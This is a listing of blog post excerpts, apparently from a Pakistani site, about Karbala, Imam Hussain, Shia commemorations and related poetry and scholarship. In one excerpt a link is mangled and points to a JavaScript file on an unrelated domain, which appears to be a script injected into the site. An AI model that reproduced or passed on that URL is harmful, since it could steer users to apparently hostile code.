Karabala: A Love Story: It is not possible God,for broken hearts to break more. Yet it breaks and shatters leaving me thinking its million pieces are now finer than grains of sand and yet there is a way even those unbreakable pieces break
Ghadeer al-Khum: Editor’s Note : With bigotry and ignorance gaining prevalence among Muslim communities, it is time to remember a universal figure like Hazrat Ali Ibne Abi Talib. Warrior, thinker, statesman he was the Renaissance man of Islamic history. While the faith of Islam
Martyrdom is our Inheritance – Alizeh Khalili: I do not know the strength it takes to sit with your son in the cold.In a coffin.I do not know what those eyes look like when their glance falls upon the snatched youth of their son. I do
Who is Imam Hussein?: Imam Hussain was born in 620 AD to a family renowned for their values of love, equality and peace. He exemplified these morals – taught to him by his grandfather Muhammad [peace be upon him and his family], the
Waqia-e-Karbala kay asbaab – by Maulana Muhammad Ishaq: We publish in this post an excellent series of lectures (in Urdu) by an eminent Ahl-e-Hadith (Salafi) Islamic scholar Maulana Muhammad Ishaq of Faisalasbad, Pakistan. LUBP readers interested in a balanced historical perspective on Imam Hussain and the tragedy
In defence of Shia rituals on Ashura – by Fawad Manzoor: Related post: An open letter to Prof Saleem Ali – by Mustafa What can Pakistan and the entire world learn from Pakistani Shias? http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/33848 This article offers a rebuttal to Professor Saleem Ali’s article in Express Tribune (later retracted
Muharram, a holiday? Living as a Shia in today’s Pakistan: The ever increasing silent Saudi-ization (or Wahhabi-ization) of moderate Muslims in Pakistan, India and elsewhere has had an adverse effect on the culture of plurality, mutual respect and tolerance within the world of Islam. Thanks to the Saudi-Salafi funded
Ishq-e-Hussain: A rickshaw driver’s story: In times like these when Saudi petro-dollars are lavishly available to cultivate extremism in Muslim youth and children, particularly in the Deobandi and Ahl-e-Hadith households, madrassahs and media, it is important to highlight the internal diversity of Islam, particularly
Hindu contribution to the marsiya – by Intizar Husain: Related articles: Hussaini Brahmins: Karbala and how Lahore was involved – by Majid Sheikh LUBP Archive on Karbala Non-Muslims’ homage to Imam Hussain ibn e Ali (AS) – by Ali Salman Alvi In selecting this post, we at the
Lady Zainab bint Ali: Victory of truth over oppression: Related articles: Ameer-ul-Mominin Ali: “The First Fighter against Islamism” – by Shaheryar Ali Horr – by Dr Ali Shariati Allama Iqbal and Ahlul-Bayt Imam Hussain, Karbala and Khilafat – by Maulana Muhammad Ishaq Female leaders in Islam have been
Imam Hussain, Karbala and Khilafat – by Maulana Muhammad Ishaq: Here is an excellent lecture (in Punjabi) by an eminent Ahl-e-Hadith Islamic scholar Maulana Muhammad Ishaq. LUBP readers interested in a balanced historical perspective on Imam Hussain, Karbala and Khilafat may find this lecture informative and thought provoking. Here
Benazir Bhutto – ik kaneez-e-karbala: Benazir Bhutto 21 June 1953 – 27 December 2007 بیاد بے نظیر بھٹو (کاوش: عبدل نیشاپوری) اک کنیز کربلا اور اک گروہ اشقیا اک گلوۓ بے خطا اورایک تیر حرملہ روشنی کے چارسو تھی ظلمت فکر ضیا٭ در پۓ
Hurr and Karbala – by Dr Ali Shariati: “Horr” is a book by renowned Iranian scholar Dr Ali Shariati about the historic Battle of Karbala in which Imam Hussein, the grandson of the Prophet Muhammad, and his 72 companions were martyred by the Caliph Yazid. Horr (also
Hajj, Karbala and Hussain – by Dr Ali Shariati: The following is an excerpt from “Hajj: Reflections on Its Rituals” written by Dr Ali Shariati highlighting the significance of the Karbala movement. The book is one of the most read works of Dr Shariati (available in English).
Allama Iqbal and Ahlul-Bayt: Here is a collection of Allama Muhammad Iqbal’s poems on the Ahl-e-Bayt of the Prophet Muhammad (peace by upon him and his progeny) including Iqbal’s poems on Hazrat Ali, Hazrat Fatima Zahra and Imam Hussain: Iqbal on Hazrat Imam